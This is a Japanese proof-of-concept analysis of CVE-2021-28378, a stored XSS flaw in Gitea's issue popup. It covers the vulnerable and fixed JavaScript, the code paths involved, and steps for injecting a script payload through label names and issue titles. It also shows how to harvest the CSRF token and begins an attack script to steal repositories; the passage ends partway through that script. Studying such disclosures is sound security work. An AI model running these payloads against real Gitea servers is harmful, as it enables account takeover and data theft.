
CVE-2021-28378の詳細な概念実証と分析。Giteaにおける格納型XSS脆弱性で、gitフックを介した任意のコード注入、権限昇格、およびリモートコード実行を可能にします。
このCVEの詳細はこちら。
このCVEは、サーバーから取得したコンテンツに対して、クライアント側で文字列のエスケープ処理が行われていないことをターゲットにしています。 これにより、攻撃者はIssueやPull Requestにコメントを作成するだけで、簡単に任意のコードを注入できるようになります。 これは2020年1月末のコミット7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5で導入されましたが、スカッシュが行われたため、類似のバグを調査するために誰がこれを導入したのか正確にはわかりません。
まず、この脆弱性がどこから来ているのかを理解しましょう。そのために、このCVEを修正するコミットを見てみましょう。
修正前:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
label.name、issue.repository.full_name、issue.title、bodyに対してHTMLエスケープが行われていないことがわかります。これらはユーザーが操作可能な文字列であり、そのため任意のコードを注入できます。
issue.repository.full_nameは、このCVEではバイパスできない多くのルール([\w._-]+)に従わなければならないため、実際にはコード注入に利用できないことに注意してください。
これこそがPRがhtmlEscapeでキャストすることによって修正している点です。
修正後:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
html: `
<div>
<p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
<p>${htmlEscape(body)}</p>
${labels}
</div>
`
ファイルweb_src/js/features/contextpopup.jsを簡単に見て、CVEをどのようにトリガーするか把握しましょう。
...
const {AppSubUrl} = window.config;
export default function initContextPopups() {
const refIssues = $('.ref-issue');
if (!refIssues.length) return;
refIssues.each(function () {
const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
issuePopup(owner, repo, index, $(this));
});
}
function issuePopup(owner, repo, index, $element) {
$.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
for (let i = 0; i < issue.labels.length; i++) {
...
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
}
...
$element.popup({
variation: 'wide',
delay: {
show: 250
},
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
});
});
}
ここでわかるのは、クラスref-issueを持つノードごとに、脆弱性のあるポップアップが追加されるということです。
次に、どこでref-issueがユーザーに送られるのかを見つける必要があります。grepで調べてみましょう(テストファイルなどは除き、興味深い結果のみを保持します)。
以下のコミット番号は、このCVEの影響を受ける公式docker-compose.ymlファイルのデフォルトバージョンである1.12.4タグに対応しています。
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go: link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go: sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")
これで、クラスref-issueを持つ静的なコンテンツは存在せず、動的に生成されることがわかりました。
最後の行は単なるサニタイザーのポリシールールなので興味深くありません。他の行は興味深いものです。その理由を見ていきます。
modules/markup/html.goの中を見てみましょう。
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
if ctx.metas == nil {
return
}
m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
if m == nil {
return
}
link := node.Data[m[0]:m[1]]
id := "#" + node.Data[m[2]:m[3]]
// extract repo and org name from matched link like
// http://localhost:3000/gituser/myrepo/issues/1
linkParts := strings.Split(path.Clean(link), "/")
matchOrg := linkParts[len(linkParts)-4]
matchRepo := linkParts[len(linkParts)-3]
if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
// TODO if m[4]:m[5] is not nil, then link is to a comment,
// and we should indicate that in the text somehow
replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
} else {
orgRepoID := matchOrg + "/" + matchRepo + id
replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
}
}
getIssueFullPatternが何をするのかも理解する必要があります。
func getIssueFullPattern() *regexp.Regexp {
if issueFullPattern == nil {
appURL := setting.AppURL
if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
appURL += "/"
}
issueFullPattern = regexp.MustCompile(appURL +
`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
}
return issueFullPattern
}
ここで行われている処理をまとめてみましょう。
fullIssuePatternProcessorでは、まずctx.metasがnilでないことを確認します(スタックトレースの上位の関数/メソッドで構築されるため、nilではないと仮定します)。
次に、ノードデータがhttp://mygitea.com/gituser/myrepo/issues/1のようなパスにマッチするかチェックします。マッチした場合、それをリンクに置き換えます。
リンクが同じユーザーとリポジトリに関するものであれば、#<issue_id>のパターンに置き換え、そうでなければ<user>/<repo>#<issue_id>に置き換えます。
どちらの場合も、ポップアップを生成するためにref-issueクラスが追加されます。
他のgrep結果も同様の処理を行います。
コンテキストがわかりました。これはhttp://mygitea.com/gituser/myrepo/issues/1のようなリンクを短いリンクに置き換える処理です。この処理がどこで行われるか推測できます。それはIssueやPRで、ラベルを追加したりコメントを投稿したりできる場所です。
ここでは、リポジトリへの書き込み権限を持っていると仮定します。
リポジトリに移動し、任意のコードを含む名前(例:<script>alert('label.name')</script>)で新しいラベルを作成します。
リポジトリのIssuesに移動し、タイトルと本文に任意のコードを含む新しいIssueを作成し、先ほどのラベルを追加します。
任意のリポジトリに新しいIssueを作成し、本文にhttp://mygitea.com/gituser/myrepo/issues/1のような、先ほど注入したIssueへのリンクを追加します。
このリンクは先ほど見たように短いリンクに置き換えられます。誰かがそのリンクにマウスを合わせると、label.nameを埋め込んだポップアップが表示され、任意のコードが実行されます。
CVE-2021-28378は任意のコード注入が可能であることが証明されました。 攻撃者が何ができるか想像してみましょう。
GiteaにはCSRFトークンがあり、フォームやAPIを送信する際の身元を保証し、Giteaのiframeを埋め込んでアクセスを盗むようなセキュリティ問題を防いでいます。
CSRFトークンはクッキー(_csrf)に保存されるだけでなく、ユーザーが訪れるほぼすべてのWebページ(/api/v1/swaggerなどの一部を除く)のフィールドにも保存されています...したがって、Issue/PRのWebページにもあります。
それを含む最も興味深いフィールドは、HTMLページの共通ヘッダー部分にあり、常に同じXPath (/html/head/meta[9]) にあります。
このデータを使えば、ペイロードの影響を受けるユーザーから、JSでCSRFトークンを取得することで認証されたアクションを送信できます。そのコードは以下の通りです:(document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content。
それでは、創造力を発揮してさまざまな攻撃を構築しましょう。 ただし、いくつか制限があります:
label.nameとissue.titleは短くなければならないため、多くのペイロードは収まりません。ただし、src属性を持つscriptを注入して任意のスクリプトを参照させることは可能です。bodyには長さ制限はありませんが、ポップアップのプレビューではデータの表示が制限されます。ペイロードをトリガーしたい場合は、先頭に配置する必要があります。ただし、前述のようにscriptとsrc属性を使用することもできます。構築できる例をいくつか見てみましょう。
攻撃者が自分がアクセスできるすべてのリポジトリを取得したいシナリオを想像してください。これは攻撃が機密性をすべて破壊できることを証明します。 この攻撃は3つのステップで達成されます:
これを行うためのJSコードを書いてみましょう:
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;